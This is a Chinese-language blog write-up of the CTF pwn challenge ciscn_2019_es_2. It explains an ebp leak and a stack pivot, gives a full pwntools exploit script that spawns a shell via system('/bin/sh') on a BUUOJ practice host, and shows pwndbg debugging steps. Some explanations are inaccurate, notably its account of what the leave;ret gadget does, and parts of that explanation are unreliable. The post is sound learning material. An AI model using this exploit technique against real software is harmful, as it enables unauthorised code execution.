> 技术文档 > ciscn_2019_es_2_stack 20

ciscn_2019_es_2_stack 20

首先第一步,查看文件信息

发现是32位程序,没有开启canary保护机制,随即将其丢进ida32查看

首先查看字符串

发现有一个输出flag的操作,然后还有system。

这里这个echo flag真的把我骗到了,我搞了很久最后进入这个命令发现它就只输出flag。然后就没有了,我还以为是我哪里错了,后面才明白过来,原来。它只是输出flag这个字符串。。。。

然后查看关键函数信息:

发现这个read函数可读入的大小只比栈空间多8字节,相当于只能覆盖到ebp和返回地址。这里这个ebp就是栈满了之后的四个字节,它包含了栈的局部变量还有返回地址,然后后面那个返回地址是我们可以控制的返回位置。这个东西对于新手来说可能需要慢慢理解,到底什么是ebp

由于这个可以输入的长度有限,所以到这里,我就已经不知道如何做下去了,然后就是漫长的看题解过程,然后发现从来没有做过这样的题目--栈跃迁

然后发现那些题解也是看不懂,如何去跟着操作发现ubuntu没有安装pwndbg插件,然后我就去搞插件了,也是又搞了好久,最后还发表了一篇博客,如果你也没有安装pwndbg插件,或许可以看看下面这篇博客

ubuntu22.04下载pwndbg插件-CSDN博客

搞完这个也是回到了这个题目,总的来说,这个题目应该也就花了我将近8个小时吧,主要是第一次做这种栈跃迁的题目,根本搞不懂原理,不过还好总算是理解了下面必须讲解的非常详细才行,但是仅个人理解,有错希望可以帮忙纠正

我也看了好多的题解,有一个地方不明白就是他们获取输入s距离ebp的位置到底是为了干什么,那些题解大多都是说劫持这个栈然后可以怎么样,但是还是没有讲清楚这个原理,也就是这个就是伪造ebp的原理,下面我讲慢慢的讲解这个原理

首先泄露ebp这个是比较好理解的,看了很多题解这个讲的比较清楚

from pwn import *from LibcSearcher import LibcSearcherr=remote(\"node5.buuoj.cn\",26758)# p=process(\"./ciscn_2019_es_2\")# gdb.attach(p,\"b* 0x08048632\")elf=ELF(r\"C:\\Users\\lezho\\Desktop\\misc\\ciscn_2019_es_2\")system_plt=elf.plt[\"system\"]leave_ret=0x08048562r.recvuntil(\"name?\")payload=\'a\'*0x24+\'bbb\'r.sendline(payload)r.recvuntil(\"bbb\\n\")ebp=u32(r.recv(4))

首先我们需要知道这个栈的结构,就是栈空间的后面就是ebp,它包含了函数的局部变量和返回地址,这里我们写入了39个字节,然后用sendline发送过去,sendline会自动补一个换行符,所以一共40个字节,那么函数在输出我们的输入的时候,由于我们刚好将栈填满了,并且read函数是不会自动补充\\0的,所以就会导致输出栈空间后面的ebp,这里如果我们输入的大小要小于40字节的话,那么就不会输出ebp,原因就是最开始这个s字符串有一个初始化,它将s字符串上面的内容初始化为0了,相当于搞了一个结束符,但是这里我们覆盖了所有的结束符所以就可以泄露ebp的地址。然后只需要先接收我们输入的bbb\\n之后再接收4个字节就成功的接收到了ebp的地址

这里应该算是讲的比较细的,然后接下来就是获取这个s字符串距离这个ebp的距离,下面是我的理解:我们获取了这个s字符串的地址之后,最后是通过将ebp覆盖为这个s字符串的地址,然后它的原理就是,这个s字符的前4个字符串会覆盖这个ebp,然后后面四个字符串就相当于函数的返回地址,这里我们就可以直接接上system函数,然后这里就像一般的ROP链一样了,就是函数+下一个函数地址+参数。

这个就是栈劫持的基本原理,就是我们输入一个字符串,一般是精心构造的,然后将栈填满,最后用这个字符串来覆盖ebp.接着程序就会执行我们所构造的ebp.一般前四个字节就是垃圾字节可以随意填充。所以这里得到s的地址就显得非常重要,这个s地址我最后讲解,下面我继续分享下面的代码

s_addr=ebp-0x38payload2=b\'aaaa\'+p32(system_plt)+p32(1)+p32(s_addr+0x10)+b\"/bin/sh\"payload2=payload2.ljust(0x28,b\'\\x00\')payload2+=p32(s_addr)+p32(leave_ret)r.sendline(payload2)r.interactive()

这个是第二段代码,这里s地址其实我也是有点不是很懂,但是后面再慢慢讲解是怎么来的,然后这个payload2就是首先写入四个垃圾字节,然后接上system函数地址,然后那个p32(1)相当于system函数的返回地址,然后这个p32(s_addr+0x10)是这个system函数的参数,关键就是后面的那个/bin/sh.这里我最开始也是理解了好久,这个0x10是通过计算出来的,首先我们的输入b\'aaaa\'是4个字节,然后p32(system_plt)四个字节,然后又是两个p32,加起来就是16字节,相当于就是0x10.所以这里的这个s_addr+0x10的结果是刚好就是它后面的参数,也就是这个/bin/sh最后写入栈的位置刚好是在s_addr+0x10的位置,所以这里才可以执行这个system(/bin/sh)。这里0x10不是绝对的,你也可以写成p32(s_addr+0x14)+p32(1)+b\"/bin/sh\"这样就是将这个bin/sh的地址写到这个s_addr+0x14的位置了,最终也是可以实现注入的。然后注意这里输入必须将栈填满,然后才能去覆盖ebp,所以这里就用了这个ljust来填充,最后跟上p32(s_addr)+p32(leave_ret)就直接跳转到了我们精心构造的ebp上了。

注意这个leave_ret!! 这个也是一个很重要的东西

leave_ret 的工作原理:

  • 当程序执行完 system(\"/bin/sh\") 后,它将尝试返回。这时,如果你没有妥善处理栈的清理操作,程序可能会尝试恢复到一个已经被篡改的栈帧,从而导致程序崩溃。
  • leave_ret 确保在控制流跳转时,栈能够恢复到一个可执行状态,避免栈帧破坏或者程序崩溃

这个leave_ret主要是去恢复栈帧,避免这个栈溢出导致程序崩溃,一般是栈跃迁必须的东西,跟在最后面

看到这里你或许还会有疑惑,因为这个确实是比较难理解的,主要是这个对ebp寄存器的理解,希望上面的讲解能够帮助到你。

下面我再分享一下我获取这个s距离ebp地址的艰难历程。。。

也是将近两个多小时的调试,哎,主要是看了一下网上的题解,但是总是达不到那样的结果,然后问AI也是讲不明白。

这里我调试过程中有一个疑惑就是这个s距离ebp的地址到底是怎么计算的,不过到最后我也还是没有明白为什么这样可以得出这个距离,只是好像通过那样计算确实是那个结果。

首先我们要明白一个问题,就是我们求这个s距离这个ebp的距离,首先我们需要输入一个字符,然后看它的位置才能计算出距离ebp的距离。这里我选择的断点就是这个read函数

它的位置就是那个vul函数,然后查看汇编代码,就可以找到一个call read。

然后我们直接去ubuntu里面调试,先gdb 这个程序

然后通过 b *0X080485B9就可以在这个read函数这里设置一个断点,然后运行

接下来也是卡了我很久的地方,由于我没有怎么用过pwndbg。所以我不知道什么时候算是输入,然后通过长时间的调试,发现程序如果执行到read函数的时候,它就会给出一个让你输入的空间

于是我们直接执行ni命令,这个会直接跳过这个函数,还有一个是si会进入这个函数,我们执行完ni之后程序就会有一个闪烁的输入图标,这个就是说明我们需要输入了

接下来我们就输入aaaa.当然这里输入什么都可以的

然后程序就会有一个跳转,接下来我们先查看栈上面的内容,输入stack 20

就可以查看到栈空间内容

相信如果你这样操作,结果应该和上面差不多。这里我们可以看到我们输入的aaaa位置在这个d060然后ebp为d098.一相减就是0x38.这里为什么这个aaaa没有指向这个esp的原因是我们还没有怎么执行程序,如果你接着再运行1次ni,然后再输入一个stack 20

就会发现,这个aaaa指向了esp

然后我也是看网上其他人的一些博客,发现它就是用这个ebp-esp得出s距离ebp的偏移量的,但是我发现他的数值和我有些不一样,我也不知道是不是因为版本问题,但是我还是没能明白为什么这样计算的结果就是这个偏移量。

到这里也算是做完这个题目了,这个主要是要理解这个ebp寄存器以及这个栈跃迁的这个实现原理,以及如果用gdb动态调试。希望这篇博客可以帮到你